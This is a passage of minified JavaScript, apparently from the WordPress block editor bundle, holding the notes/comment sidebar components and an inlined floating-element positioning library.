avatar&quot;),width:32,height:32,style:{borderColor:sb(n??l)}}),(0,c.jsxs)(Hn.__experimentalVStack,{spacing:&quot;0&quot;,children:[(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-collab-sidebar-panel__user-name&quot;,children:t??a}),s&amp;&amp;(0,c.jsx)(Hn.Tooltip,{text:f,children:(0,c.jsx)(&quot;time&quot;,{dateTime:h,className:&quot;editor-collab-sidebar-panel__user-time&quot;,children:_})})]})]})};var rb=function e({onSubmit:t,onCancel:s,thread:n,submitButtonText:o,labelText:r,reflowComments:i=eb}){const[a,l]=(0,p.useState)(n?.content?.raw??&quot;&quot;),d=(0,m.useDebounce)(i,100),u=(0,m.useInstanceId)(e,&quot;comment-input&quot;),h=a===n?.content?.raw||!(g=a,g.trim()).length;var g;return(0,c.jsxs)(Hn.__experimentalVStack,{className:&quot;editor-collab-sidebar-panel__comment-form&quot;,spacing:&quot;4&quot;,as:&quot;form&quot;,onSubmit:e=&gt;{e.preventDefault(),t(a),l(&quot;&quot;)},children:[(0,c.jsx)(Hn.VisuallyHidden,{as:&quot;label&quot;,htmlFor:u,children:r??(0,fs.__)(&quot;Note&quot;)}),(0,c.jsx)(hh.A,{id:u,value:a??&quot;&quot;,onChange:e=&gt;{var t;t=e.target.value,l(t),d()},rows:1,maxRows:20,onKeyDown:e=&gt;{ll.isKeyboardEvent.primary(e,&quot;Enter&quot;)&amp;&amp;!h&amp;&amp;e.target.parentNode.requestSubmit()}}),(0,c.jsxs)(Hn.__experimentalHStack,{spacing:&quot;2&quot;,justify:&quot;flex-end&quot;,wrap:!0,children:[(0,c.jsx)(Hn.Button,{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,onClick:s,children:(0,c.jsx)(Hn.__experimentalTruncate,{children:(0,fs.__)(&quot;Cancel&quot;)})}),(0,c.jsx)(Hn.Button,{size:&quot;compact&quot;,accessibleWhenDisabled:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,disabled:h,children:(0,c.jsx)(Hn.__experimentalTruncate,{children:o})})]})]})};Math.min,Math.max,Math.round,Math.floor;function ib(e){return e.split(&quot;-&quot;)[0]}function ab(e){return e.split(&quot;-&quot;)[1]}function lb(e){return&quot;y&quot;===e?&quot;height&quot;:&quot;width&quot;}function cb(e){return[&quot;top&quot;,&quot;bottom&quot;].includes(ib(e))?&quot;y&quot;:&quot;x&quot;}function db(e){return&quot;x&quot;===cb(e)?&quot;y&quot;:&quot;x&quot;}function ub(e){return{...e,top:e.y,left:e.x,right:e.x+e.width,bottom:e.y+e.height}}function pb(e,t,s){let{reference:n,floating:o}=e;const r=cb(t),i=db(t),a=lb(i),l=ib(t),c=&quot;y&quot;===r,d=n.x+n.width/2-o.width/2,u=n.y+n.height/2-o.height/2,p=n[a]/2-o[a]/2;let m;switch(l){case&quot;top&quot;:m={x:d,y:n.y-o.height};break;case&quot;bottom&quot;:m={x:d,y:n.y+n.height};break;case&quot;right&quot;:m={x:n.x+n.width,y:u};break;case&quot;left&quot;:m={x:n.x-o.width,y:u};break;default:m={x:n.x,y:n.y}}switch(ab(t)){case&quot;start&quot;:m[i]-=p*(s&amp;&amp;c?-1:1);break;case&quot;end&quot;:m[i]+=p*(s&amp;&amp;c?-1:1)}return m}const mb=function(e){return void 0===e&amp;&amp;(e=0),{name:&quot;offset&quot;,options:e,async fn(t){const{x:s,y:n}=t,o=await async function(e,t){const{placement:s,platform:n,elements:o}=e,r=await(null==n.isRTL?void 0:n.isRTL(o.floating)),i=ib(s),a=ab(s),l=&quot;y&quot;===cb(s),c=[&quot;left&quot;,&quot;top&quot;].includes(i)?-1:1,d=r&amp;&amp;l?-1:1,u=(m=e,&quot;function&quot;==typeof(p=t)?p(m):p);var p,m;let{mainAxis:h,crossAxis:g,alignmentAxis:_}=&quot;number&quot;==typeof u?{mainAxis:u,crossAxis:0,alignmentAxis:null}:{mainAxis:0,crossAxis:0,alignmentAxis:null,...u};return a&amp;&amp;&quot;number&quot;==typeof _&amp;&amp;(g=&quot;end&quot;===a?-1*_:_),l?{x:g*d,y:h*c}:{x:h*c,y:g*d}}(t,e);return{x:s+o.x,y:n+o.y,data:o}}}},hb=Math.min,gb=Math.max,_b=Math.round,fb=Math.floor,bb=e=&gt;({x:e,y:e});function yb(){return&quot;undefined&quot;!=typeof window}function xb(e){return Sb(e)?(e.nodeName||&quot;&quot;).toLowerCase():&quot;#document&quot;}function vb(e){var t;return(null==e||null==(t=e.ownerDocument)?void 0:t.defaultView)||window}function wb(e){var t;return null==(t=(Sb(e)?e.ownerDocument:e.document)||window.document)?void 0:t.documentElement}function Sb(e){return!!yb()&amp;&amp;(e instanceof Node||e instanceof vb(e).Node)}function kb(e){return!!yb()&amp;&amp;(e instanceof Element||e instanceof vb(e).Element)}function Cb(e){return!!yb()&amp;&amp;(e instanceof HTMLElement||e instanceof vb(e).HTMLElement)}function Pb(e){return!(!yb()||&quot;undefined&quot;==typeof ShadowRoot)&amp;&amp;(e instanceof ShadowRoot||e instanceof vb(e).ShadowRoot)}function jb(e){const{overflow:t,overflowX:s,overflowY:n,display:o}=Rb(e);return/auto|scroll|overlay|hidden|clip/.test(t+n+s)&amp;&amp;![&quot;inline&quot;,&quot;contents&quot;].includes(o)}function Eb(e){return[&quot;table&quot;,&quot;td&quot;,&quot;th&quot;].includes(xb(e))}function Tb(e){return[&quot;:popover-open&quot;,&quot;:modal&quot;].some((t=&gt;{try{return e.matches(t)}catch(e){return!1}}))}function Ib(e){const t=Bb(),s=kb(e)?Rb(e):e;return[&quot;transform&quot;,&quot;translate&quot;,&quot;scale&quot;,&quot;rotate&quot;,&quot;perspective&quot;].some((e=&gt;!!s[e]&amp;&amp;&quot;none&quot;!==s[e]))||!!s.containerType&amp;&amp;&quot;normal&quot;!==s.containerType||!t&amp;&amp;!!s.backdropFilter&amp;&amp;&quot;none&quot;!==s.backdropFilter||!t&amp;&amp;!!s.filter&amp;&amp;&quot;none&quot;!==s.filter||[&quot;transform&quot;,&quot;translate&quot;,&quot;scale&quot;,&quot;rotate&quot;,&quot;perspective&quot;,&quot;filter&quot;].some((e=&gt;(s.willChange||&quot;&quot;).includes(e)))||[&quot;paint&quot;,&quot;layout&quot;,&quot;strict&quot;,&quot;content&quot;].some((e=&gt;(s.contain||&quot;&quot;).includes(e)))}function Bb(){return!(&quot;undefined&quot;==typeof CSS||!CSS.supports)&amp;&amp;CSS.supports(&quot;-webkit-backdrop-filter&quot;,&quot;none&quot;)}function Nb(e){return[&quot;html&quot;,&quot;body&quot;,&quot;#document&quot;].includes(xb(e))}function Rb(e){return vb(e).getComputedStyle(e)}function Db(e){return kb(e)?{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}:{scrollLeft:e.scrollX,scrollTop:e.scrollY}}function Ab(e){if(&quot;html&quot;===xb(e))return e;const t=e.assignedSlot||e.parentNode||Pb(e)&amp;&amp;e.host||wb(e);return Pb(t)?t.host:t}function Mb(e){const t=Ab(e);return Nb(t)?e.ownerDocument?e.ownerDocument.body:e.body:Cb(t)&amp;&amp;jb(t)?t:Mb(t)}function Lb(e,t,s){var n;void 0===t&amp;&amp;(t=[]),void 0===s&amp;&amp;(s=!0);const o=Mb(e),r=o===(null==(n=e.ownerDocument)?void 0:n.body),i=vb(o);if(r){const e=function(e){return e.parent&amp;&amp;Object.getPrototypeOf(e.parent)?e.frameElement:null}(i);return t.concat(i,i.visualViewport||[],jb(o)?o:[],e&amp;&amp;s?Lb(e):[])}return t.concat(o,Lb(o,[],s))}function Ob(e){const t=Rb(e);let s=parseFloat(t.width)||0,n=parseFloat(t.height)||0;const o=Cb(e),r=o?e.offsetWidth:s,i=o?e.offsetHeight:n,a=_b(s)!==r||_b(n)!==i;return a&amp;&amp;(s=r,n=i),{width:s,height:n,$:a}}function Fb(e){return kb(e)?e:e.contextElement}function Vb(e){const t=Fb(e);if(!Cb(t))return bb(1);const s=t.getBoundingClientRect(),{width:n,height:o,$:r}=Ob(t);let i=(r?_b(s.width):s.width)/n,a=(r?_b(s.height):s.height)/o;return i&amp;&amp;Number.isFinite(i)||(i=1),a&amp;&amp;Number.isFinite(a)||(a=1),{x:i,y:a}}const Ub=bb(0);function Hb(e){const t=vb(e);return Bb()&amp;&amp;t.visualViewport?{x:t.visualViewport.offsetLeft,y:t.visualViewport.offsetTop}:Ub}function zb(e,t,s,n){void 0===t&amp;&amp;(t=!1),void 0===s&amp;&amp;(s=!1);const o=e.getBoundingClientRect(),r=Fb(e);let i=bb(1);t&amp;&amp;(n?kb(n)&amp;&amp;(i=Vb(n)):i=Vb(e));const a=function(e,t,s){return void 0===t&amp;&amp;(t=!1),!(!s||t&amp;&amp;s!==vb(e))&amp;&amp;t}(r,s,n)?Hb(r):bb(0);let l=(o.left+a.x)/i.x,c=(o.top+a.y)/i.y,d=o.width/i.x,u=o.height/i.y;if(r){const e=vb(r),t=n&amp;&amp;kb(n)?vb(n):n;let s=e,o=s.frameElement;for(;o&amp;&amp;n&amp;&amp;t!==s;){const e=Vb(o),t=o.getBoundingClientRect(),n=Rb(o),r=t.left+(o.clientLeft+parseFloat(n.paddingLeft))*e.x,i=t.top+(o.clientTop+parseFloat(n.paddingTop))*e.y;l*=e.x,c*=e.y,d*=e.x,u*=e.y,l+=r,c+=i,s=vb(o),o=s.frameElement}}return ub({width:d,height:u,x:l,y:c})}const Gb=[&quot;:popover-open&quot;,&quot;:modal&quot;];function $b(e){return Gb.some((t=&gt;{try{return e.matches(t)}catch(e){return!1}}))}function Wb(e){return zb(wb(e)).left+Db(e).scrollLeft}function Zb(e,t,s){let n;if(&quot;viewport&quot;===t)n=function(e,t){const s=vb(e),n=wb(e),o=s.visualViewport;let r=n.clientWidth,i=n.clientHeight,a=0,l=0;if(o){r=o.width,i=o.height;const e=Bb();(!e||e&amp;&amp;&quot;fixed&quot;===t)&amp;&amp;(a=o.offsetLeft,l=o.offsetTop)}return{width:r,height:i,x:a,y:l}}(e,s);else if(&quot;document&quot;===t)n=function(e){const t=wb(e),s=Db(e),n=e.ownerDocument.body,o=gb(t.scrollWidth,t.clientWidth,n.scrollWidth,n.clientWidth),r=gb(t.scrollHeight,t.clientHeight,n.scrollHeight,n.clientHeight);let i=-s.scrollLeft+Wb(e);const a=-s.scrollTop;return&quot;rtl&quot;===Rb(n).direction&amp;&amp;(i+=gb(t.clientWidth,n.clientWidth)-o),{width:o,height:r,x:i,y:a}}(wb(e));else if(kb(t))n=function(e,t){const s=zb(e,!0,&quot;fixed&quot;===t),n=s.top+e.clientTop,o=s.left+e.clientLeft,r=Cb(e)?Vb(e):bb(1);return{width:e.clientWidth*r.x,height:e.clientHeight*r.y,x:o*r.x,y:n*r.y}}(t,s);else{const s=Hb(e);n={...t,x:t.x-s.x,y:t.y-s.y}}return ub(n)}function Yb(e,t){const s=Ab(e);return!(s===t||!kb(s)||Nb(s))&amp;&amp;(&quot;fixed&quot;===Rb(s).position||Yb(s,t))}function qb(e,t,s){const n=Cb(t),o=wb(t),r=&quot;fixed&quot;===s,i=zb(e,!0,r,t);let a={scrollLeft:0,scrollTop:0};const l=bb(0);if(n||!n&amp;&amp;!r)if((&quot;body&quot;!==xb(t)||jb(o))&amp;&amp;(a=Db(t)),n){const e=zb(t,!0,r,t);l.x=e.x+t.clientLeft,l.y=e.y+t.clientTop}else o&amp;&amp;(l.x=Wb(o));return{x:i.left+a.scrollLeft-l.x,y:i.top+a.scrollTop-l.y,width:i.width,height:i.height}}function Kb(e,t){return Cb(e)&amp;&amp;&quot;fixed&quot;!==Rb(e).position?t?t(e):e.offsetParent:null}function Qb(e,t){const s=vb(e);if(!Cb(e)||$b(e))return s;let n=Kb(e,t);for(;n&amp;&amp;Eb(n)&amp;&amp;&quot;static&quot;===Rb(n).position;)n=Kb(n,t);return n&amp;&amp;(&quot;html&quot;===xb(n)||&quot;body&quot;===xb(n)&amp;&amp;&quot;static&quot;===Rb(n).position&amp;&amp;!Ib(n))?s:n||function(e){let t=Ab(e);for(;Cb(t)&amp;&amp;!Nb(t);){if(Ib(t))return t;if(Tb(t))return null;t=Ab(t)}return null}(e)||s}const Xb={convertOffsetParentRelativeRectToViewportRelativeRect:function(e){let{elements:t,rect:s,offsetParent:n,strategy:o}=e;const r=&quot;fixed&quot;===o,i=wb(n),a=!!t&amp;&amp;$b(t.floating);if(n===i||a&amp;&amp;r)return s;let l={scrollLeft:0,scrollTop:0},c=bb(1);const d=bb(0),u=Cb(n);if((u||!u&amp;&amp;!r)&amp;&amp;((&quot;body&quot;!==xb(n)||jb(i))&amp;&amp;(l=Db(n)),Cb(n))){const e=zb(n);c=Vb(n),d.x=e.x+n.clientLeft,d.y=e.y+n.clientTop}return{width:s.width*c.x,height:s.height*c.y,x:s.x*c.x-l.scrollLeft*c.x+d.x,y:s.y*c.y-l.scrollTop*c.y+d.y}},getDocumentElement:wb,getClippingRect:function(e){let{element:t,boundary:s,rootBoundary:n,strategy:o}=e;const r=[...&quot;clippingAncestors&quot;===s?function(e,t){const s=t.get(e);if(s)return s;let n=Lb(e,[],!1).filter((e=&gt;kb(e)&amp;&amp;&quot;body&quot;!==xb(e))),o=null;const r=&quot;fixed&quot;===Rb(e).position;let i=r?Ab(e):e;for(;kb(i)&amp;&amp;!Nb(i);){const t=Rb(i),s=Ib(i);s||&quot;fixed&quot;!==t.position||(o=null),(r?!s&amp;&amp;!o:!s&amp;&amp;&quot;static&quot;===t.position&amp;&amp;o&amp;&amp;[&quot;absolute&quot;,&quot;fixed&quot;].includes(o.position)||jb(i)&amp;&amp;!s&amp;&amp;Yb(e,i))?n=n.filter((e=&gt;e!==i)):o=t,i=Ab(i)}return t.set(e,n),n}(t,this._c):[].concat(s),n],i=r[0],a=r.reduce(((e,s)=&gt;{const n=Zb(t,s,o);return e.top=gb(n.top,e.top),e.right=hb(n.right,e.right),e.bottom=hb(n.bottom,e.bottom),e.left=gb(n.left,e.left),e}),Zb(t,i,o));return{width:a.right-a.left,height:a.bottom-a.top,x:a.left,y:a.top}},getOffsetParent:Qb,getElementRects:async function(e){const t=this.getOffsetParent||Qb,s=this.getDimensions;return{reference:qb(e.reference,await t(e.floating),e.strategy),floating:{x:0,y:0,...await s(e.floating)}}},getClientRects:function(e){return Array.from(e.getClientRects())},getDimensions:function(e){const{width:t,height:s}=Ob(e);return{width:t,height:s}},getScale:Vb,isElement:kb,isRTL:function(e){return&quot;rtl&quot;===Rb(e).direction}};function Jb(e,t,s,n){void 0===n&amp;&amp;(n={});const{ancestorScroll:o=!0,ancestorResize:r=!0,elementResize:i=&quot;function&quot;==typeof ResizeObserver,layoutShift:a=&quot;function&quot;==typeof IntersectionObserver,animationFrame:l=!1}=n,c=Fb(e),d=o||r?[...c?Lb(c):[],...Lb(t)]:[];d.forEach((e=&gt;{o&amp;&amp;e.addEventListener(&quot;scroll&quot;,s,{passive:!0}),r&amp;&amp;e.addEventListener(&quot;resize&quot;,s)}));const u=c&amp;&amp;a?function(e,t){let s,n=null;const o=wb(e);function r(){var e;clearTimeout(s),null==(e=n)||e.disconnect(),n=null}return function i(a,l){void 0===a&amp;&amp;(a=!1),void 0===l&amp;&amp;(l=1),r();const{left:c,top:d,width:u,height:p}=e.getBoundingClientRect();if(a||t(),!u||!p)return;const m={rootMargin:-fb(d)+&quot;px &quot;+-fb(o.clientWidth-(c+u))+&quot;px &quot;+-fb(o.clientHeight-(d+p))+&quot;px &quot;+-fb(c)+&quot;px&quot;,threshold:gb(0,hb(1,l))||1};let h=!0;function g(e){const t=e[0].intersectionRatio;if(t!==l){if(!h)return i();t?i(!1,t):s=setTimeout((()=&gt;{i(!1,1e-7)}),100)}h=!1}try{n=new IntersectionObserver(g,{...m,root:o.ownerDocument})}catch(e){n=new IntersectionObserver(g,m)}n.observe(e)}(!0),r}(c,s):null;let p,m=-1,h=null;i&amp;&amp;(h=new ResizeObserver((e=&gt;{let[n]=e;n&amp;&amp;n.target===c&amp;&amp;h&amp;&amp;(h.unobserve(t),cancelAnimationFrame(m),m=requestAnimationFrame((()=&gt;{var e;null==(e=h)||e.observe(t)}))),s()})),c&amp;&amp;!l&amp;&amp;h.observe(c),h.observe(t));let g=l?zb(e):null;return l&amp;&amp;function t(){const n=zb(e);!g||n.x===g.x&amp;&amp;n.y===g.y&amp;&amp;n.width===g.width&amp;&amp;n.height===g.height||s();g=n,p=requestAnimationFrame(t)}(),s(),()=&gt;{var e;d.forEach((e=&gt;{o&amp;&amp;e.removeEventListener(&quot;scroll&quot;,s),r&amp;&amp;e.removeEventListener(&quot;resize&quot;,s)})),null==u||u(),null==(e=h)||e.disconnect(),h=null,l&amp;&amp;cancelAnimationFrame(p)}}const ey=(e,t,s)=&gt;{const n=new Map,o={platform:Xb,...s},r={...o.platform,_c:n};return(async(e,t,s)=&gt;{const{placement:n=&quot;bottom&quot;,strategy:o=&quot;absolute&quot;,middleware:r=[],platform:i}=s,a=r.filter(Boolean),l=await(null==i.isRTL?void 0:i.isRTL(t));let c=await i.getElementRects({reference:e,floating:t,strategy:o}),{x:d,y:u}=pb(c,n,l),p=n,m={},h=0;for(let s=0;s&lt;a.length;s++){const{name:r,fn:g}=a[s],{x:_,y:f,data:b,reset:y}=await g({x:d,y:u,initialPlacement:n,placement:p,strategy:o,middlewareData:m,rects:c,platform:i,elements:{reference:e,floating:t}});d=null!=_?_:d,u=null!=f?f:u,m={...m,[r]:{...m[r],...b}},y&amp;&amp;h&lt;=50&amp;&amp;(h++,&quot;object&quot;==typeof y&amp;&amp;(y.placement&amp;&amp;(p=y.placement),y.rects&amp;&amp;(c=!0===y.rects?await i.getElementRects({reference:e,floating:t,strategy:o}):y.rects),({x:d,y:u}=pb(c,p,l))),s=-1)}return{x:d,y:u,placement:p,strategy:o,middlewareData:m}})(e,t,{...o,platform:r})};var ty=s(1609);const sy=window.ReactDOM;var ny=&quot;undefined&quot;!=typeof document?ty.useLayoutEffect:ty.useEffect;function oy(e,t){if(e===t)return!0;if(typeof e!=typeof t)return!1;if(&quot;function&quot;==typeof e&amp;&amp;e.toString()===t.toString())return!0;let s,n,o;if(e&amp;&amp;t&amp;&amp;&quot;object&quot;==typeof e){if(Array.isArray(e)){if(s=e.length,s!==t.length)return!1;for(n=s;0!=n--;)if(!oy(e[n],t[n]))return!1;return!0}if(o=Object.keys(e),s=o.length,s!==Object.keys(t).length)return!1;for(n=s;0!=n--;)if(!{}.hasOwnProperty.call(t,o[n]))return!1;for(n=s;0!=n--;){const s=o[n];if((&quot;_owner&quot;!==s||!e.$$typeof)&amp;&amp;!oy(e[s],t[s]))return!1}return!0}return e!=e&amp;&amp;t!=t}function ry(e){if(&quot;undefined&quot;==typeof window)return 1;return(e.ownerDocument.defaultView||window).devicePixelRatio||1}function iy(e,t){const s=ry(e);return Math.round(t*s)/s}function ay(e){const t=ty.useRef(e);return ny((()=&gt;{t.current=e})),t}const{useBlockElementRef:ly,cleanEmptyObject:cy}=$(g.privateApis);function dy({thread:e,calculatedOffset:t,setHeights:s,selectedThread:n,setBlockRef:o,commentLastUpdated:r}){const i=(0,p.useRef)();ly(e.blockClientId,i);const a=(0,d.useSelect)((t=&gt;e.blockClientId?t(g.store).getBlockMode(e.blockClientId):null),[e.blockClientId]),l=(0,p.useCallback)(((e,t)=&gt;{s((s=&gt;s[e]!==t?{...s,[e]:t}:s))}),[s]),{y:c,refs:u}=function(e){void 0===e&amp;&amp;(e={});const{placement:t=&quot;bottom&quot;,strategy:s=&quot;absolute&quot;,middleware:n=[],platform:o,elements:{reference:r,floating:i}={},transform:a=!0,whileElementsMounted:l,open:c}=e,[d,u]=ty.useState({x:0,y:0,strategy:s,placement:t,middlewareData:{},isPositioned:!1}),[p,m]=ty.useState(n);oy(p,n)||m(n);const[h,g]=ty.useState(null),[_,f]=ty.useState(null),b=ty.useCallback((e=&gt;{e!==w.current&amp;&amp;(w.current=e,g(e))}),[]),y=ty.useCallback((e=&gt;{e!==S.current&amp;&amp;(S.current=e,f(e))}),[]),x=r||h,v=i||_,w=ty.useRef(null),S=ty.useRef(null),k=ty.useRef(d),C=null!=l,P=ay(l),j=ay(o),E=ty.useCallback((()=&gt;{if(!w.current||!S.current)return;const e={placement:t,strategy:s,middleware:p};j.current&amp;&amp;(e.platform=j.current),ey(w.current,S.current,e).then((e=&gt;{const t={...e,isPositioned:!0};T.current&amp;&amp;!oy(k.current,t)&amp;&amp;(k.current=t,sy.flushSync((()=&gt;{u(t)})))}))}),[p,t,s,j]);ny((()=&gt;{!1===c&amp;&amp;k.current.isPositioned&amp;&amp;(k.current.isPositioned=!1,u((e=&gt;({...e,isPositioned:!1}))))}),[c]);const T=ty.useRef(!1);ny((()=&gt;(T.current=!0,()=&gt;{T.current=!1})),[]),ny((()=&gt;{if(x&amp;&amp;(w.current=x),v&amp;&amp;(S.current=v),x&amp;&amp;v){if(P.current)return P.current(x,v,E);E()}}),[x,v,E,P,C]);const I=ty.useMemo((()=&gt;({reference:w,floating:S,setReference:b,setFloating:y})),[b,y]),B=ty.useMemo((()=&gt;({reference:x,floating:v})),[x,v]),N=ty.useMemo((()=&gt;{const e={position:s,left:0,top:0};if(!B.floating)return e;const t=iy(B.floating,d.x),n=iy(B.floating,d.y);return a?{...e,transform:&quot;translate(&quot;+t+&quot;px, &quot;+n+&quot;px)&quot;,...ry(B.floating)&gt;=1.5&amp;&amp;{willChange:&quot;transform&quot;}}:{position:s,left:t,top:n}}),[s,a,B.floating,d.x,d.y]);return ty.useMemo((()=&gt;({...d,update:E,refs:I,elements:B,floatingStyles:N})),[d,E,I,B,N])}({placement:&quot;right-start&quot;,middleware:[mb({crossAxis:t||-16})],whileElementsMounted:Jb});return(0,p.useEffect)((()=&gt;{i.current&amp;&amp;u.setReference(i.current)}),[i,u,r,a]),(0,p.useEffect)((()=&gt;{u.floating?.current&amp;&amp;o(e.id,i.current)}),[e.id,u.floating,o]),(0,p.useEffect)((()=&gt;{if(u.floating?.current){const t=u.floating.current.scrollHeight;l(e.id,t)}}),[e.id,l,u.floating,n,r]),{blockRef:i,y:c,refs:u}}const{useBlockElement:uy}=$(g.privateApis);function py({onSubmit:e,newNoteFormState:t,setNewNoteFormState:s,commentSidebarRef:n,reflowComments:o=eb,isFloating:r=!1,y:i,refs:a}){const{clientId:l}=(0,d.useSelect)((e=&gt;{const{getSelectedBlockClientId:t}=e(g.store);return{clientId:t()}}),[]),u=uy(l),{toggleBlockSpotlight:p}=$((0,d.useDispatch)(g.store));return&quot;open&quot;===t&amp;&amp;l?(0,c.jsxs)(Hn.__experimentalVStack,{className:mr(&quot;editor-collab-sidebar-panel__thread is-selected&quot;,{&quot;is-floating&quot;:r}),spacing:&quot;3&quot;,tabIndex:0,&quot;aria-label&quot;:(0,fs.__)(&quot;New note&quot;),role:&quot;treeitem&quot;,ref:r?a.setFloating:void 0,style:r?{top:i,opacity:i?void 0:0}:void 0,onBlur:e=&gt;{e.currentTarget.contains(e.relatedTarget)||(p(l,!1),s(&quot;closed&quot;))},children:[(0,c.jsx)(Hn.__experimentalHStack,{alignment:&quot;left&quot;,spacing:&quot;3&quot;,children:(0,c.jsx)(ob,{})}),(0,c.jsx)(rb,{onSubmit:async t=&gt;{const{id:o}=await e({content:t});nb(o,n.current),s(&quot;creating&quot;)},onCancel:()=&gt;{s(&quot;closed&quot;),u?.focus(),p(l,!1)},reflowComments:o,submitButtonText:(0,fs.__)(&quot;Add note&quot;),labelText:(0,fs.__)(&quot;New note&quot;)})]}):null}const{useBlockElement:my}=$(g.privateApis),{Menu:hy}=$(Hn.privateApis);function gy({threads:e,onEditComment:t,onAddReply:s,onCommentDelete:n,newNoteFormState:o,setNewNoteFormState:r,commentSidebarRef:i,reflowComments:a,isFloating:l=!1,commentLastUpdated:u}){const[m,h]=(0,p.useState)({}),[_,f]=(0,p.useState)(null),[b,y]=(0,p.useState)({}),[x,v]=(0,p.useState)({}),{setCanvasMinHeight:w}=$((0,d.useDispatch)(vc)),{selectBlock:S,toggleBlockSpotlight:k}=$((0,d.useDispatch)(g.store)),{blockCommentId:C,selectedBlockClientId:P,orderedBlockIds:j,blockMode:E}=(0,d.useSelect)((e=&gt;{const{getBlockAttributes:t,getSelectedBlockClientId:s,getClientIdsWithDescendants:n,getBlockMode:o}=e(g.store),r=s();return{blockCommentId:r?t(r)?.metadata?.noteId:null,selectedBlockClientId:r,orderedBlockIds:n(),blockMode:r?o(r):null}}),[]),T=my(P),I=(0,p.useMemo)((()=&gt;{const t=[...e],s=[];if(l&amp;&amp;&quot;open&quot;===o){const e={id:&quot;new-note-thread&quot;,blockClientId:P,content:{rendered:&quot;&quot;}};return j.forEach((n=&gt;{if(n===P)s.push(e);else{const e=t.find((e=&gt;e.blockClientId===n));e&amp;&amp;s.push(e)}})),s}return t}),[e,l,o,P,j]),B=async e=&gt;{const t=I.findIndex((t=&gt;t.id===e.id)),s=I[t+1],o=I[t-1];if(await n(e),0!==e.parent)return f(e.parent),void nb(e.parent,i.current);s?(f(s.id),nb(s.id,i.current)):o?(f(o.id),nb(o.id,i.current)):(f(null),r(&quot;closed&quot;),T?.focus())};(0,p.useEffect)((()=&gt;{f(&quot;open&quot;===o?&quot;new-note-thread&quot;:C)}),[C,o]);const N=(0,p.useCallback)(((e,t)=&gt;{v((s=&gt;({...s,[e]:t})))}),[]);(0,p.useEffect)((()=&gt;{const{offsets:e,minHeight:t}=(()=&gt;{const e={};if(!l)return{offsets:e,minHeight:0};const t=I.findIndex((e=&gt;e.id===_)),s=-1===t?0:t,n=I[s];if(!n||!x[n.id])return{offsets:e,minHeight:0};let o=x[n.id],r=o?.getBoundingClientRect();const i=r?.top||0,a=m[n.id]||0;e[n.id]=-16;let c={threadTop:i-16,threadHeight:a};for(let t=s+1;t&lt;I.length;t++){const s=I[t];if(!x[s.id])continue;o=x[s.id],r=o?.getBoundingClientRect();const n=r?.top||0,i=m[s.id]||0;let a=-16;const l=c.threadTop+c.threadHeight;n&lt;l+16&amp;&amp;(a=l-n+20),e[s.id]=a,c={threadTop:n+a,threadHeight:i}}let d={threadTop:i-16};for(let s=t-1;s&gt;=0;s--){const t=I[s];if(!x[t.id])continue;o=x[t.id],r=o?.getBoundingClientRect();const n=r?.top||0,i=m[t.id]||0;let a=-16;n+i&gt;d.threadTop&amp;&amp;(a=d.threadTop-n-i-20),e[t.id]=a,d={threadTop:n+a}}let u=0;const p=I[I.length-1];if(x[p.id]){const t=x[p.id],s=t?.getBoundingClientRect();u=(s?.top||0)+(m[p.id]||0)+(e[p.id]||0)+32}return{offsets:e,minHeight:u}})();Object.keys(e).length&gt;0&amp;&amp;y(e),w(t)}),[m,x,l,I,_,w,E]);return Array.isArray(I)&amp;&amp;I.length&gt;0||l?(0,c.jsxs)(c.Fragment,{children:[!l&amp;&amp;&quot;open&quot;===o&amp;&amp;(0,c.jsx)(py,{onSubmit:s,newNoteFormState:o,setNewNoteFormState:r,commentSidebarRef:i}),I.map((e=&gt;(0,c.jsx)(_y,{thread:e,onAddReply:s,onCommentDelete:B,onEditComment:t,isSelected:_===e.id,setSelectedThread:f,setNewNoteFormState:r,commentSidebarRef:i,reflowComments:a,isFloating:l,calculatedOffset:b[e.id]??0,setHeights:h,setBlockRef:N,selectedThread:_,commentLastUpdated:u,newNoteFormState:o,onKeyDown:t=&gt;((e,t,s)=&gt;{if(e.defaultPrevented)return;const n=I.findIndex((e=&gt;e.id===t.id));&quot;Enter&quot;!==e.key&amp;&amp;&quot;ArrowRight&quot;!==e.key||e.currentTarget!==e.target||s?(&quot;Enter&quot;===e.key||&quot;ArrowLeft&quot;===e.key)&amp;&amp;e.currentTarget===e.target&amp;&amp;s||&quot;Escape&quot;===e.key?(f(null),r(&quot;closed&quot;),t.blockClientId&amp;&amp;k(t.blockClientId,!1),nb(t.id,i.current)):&quot;ArrowDown&quot;===e.key&amp;&amp;n&lt;I.length-1&amp;&amp;e.currentTarget===e.target?nb(I[n+1].id,i.current):&quot;ArrowUp&quot;===e.key&amp;&amp;n&gt;0&amp;&amp;e.currentTarget===e.target?nb(I[n-1].id,i.current):&quot;Home&quot;===e.key&amp;&amp;e.currentTarget===e.target?nb(I[0].id,i.current):&quot;End&quot;===e.key&amp;&amp;e.currentTarget===e.target&amp;&amp;nb(I[I.length-1].id,i.current):(r(&quot;closed&quot;),f(t.id),t.blockClientId&amp;&amp;(S(t.blockClientId,null),k(t.blockClientId,!0)))})(t,e,_===e.id)},e.id)))]}):(0,c.jsx)(py,{onSubmit:s,newNoteFormState:o,setNewNoteFormState:r,commentSidebarRef:i})}function _y({thread:e,onEditComment:t,onAddReply:s,onCommentDelete:n,isSelected:o,setNewNoteFormState:r,commentSidebarRef:i,reflowComments:a,isFloating:l,calculatedOffset:u,setHeights:h,setBlockRef:_,setSelectedThread:f,selectedThread:b,commentLastUpdated:y,newNoteFormState:x,onKeyDown:v}){const{toggleBlockHighlight:w,selectBlock:S,toggleBlockSpotlight:k}=$((0,d.useDispatch)(g.store)),C=my(e.blockClientId),P=(0,m.useDebounce)(w,50),{y:j,refs:E}=dy({thread:e,calculatedOffset:u,setHeights:h,setBlockRef:_,selectedThread:b,commentLastUpdated:y}),T=(0,p.useRef)(!1),I=()=&gt;{f(null),r(&quot;closed&quot;),k(e.blockClientId,!1)},B=e?.reply||[],N=B.length&gt;0?B[B.length-1]:void 0,R=B.length&gt;0?B.slice(0,-1):[],D=function(e,t=10){if(!e)return&quot;&quot;;const s=(0,fs._x)(&quot;words&quot;,&quot;Word count type. Do not translate!&quot;),n=e.trim();let o=&quot;&quot;;if(&quot;words&quot;===s)o=n.split(&quot; &quot;,t).join(&quot; &quot;);else if(&quot;characters_excluding_spaces&quot;===s){const 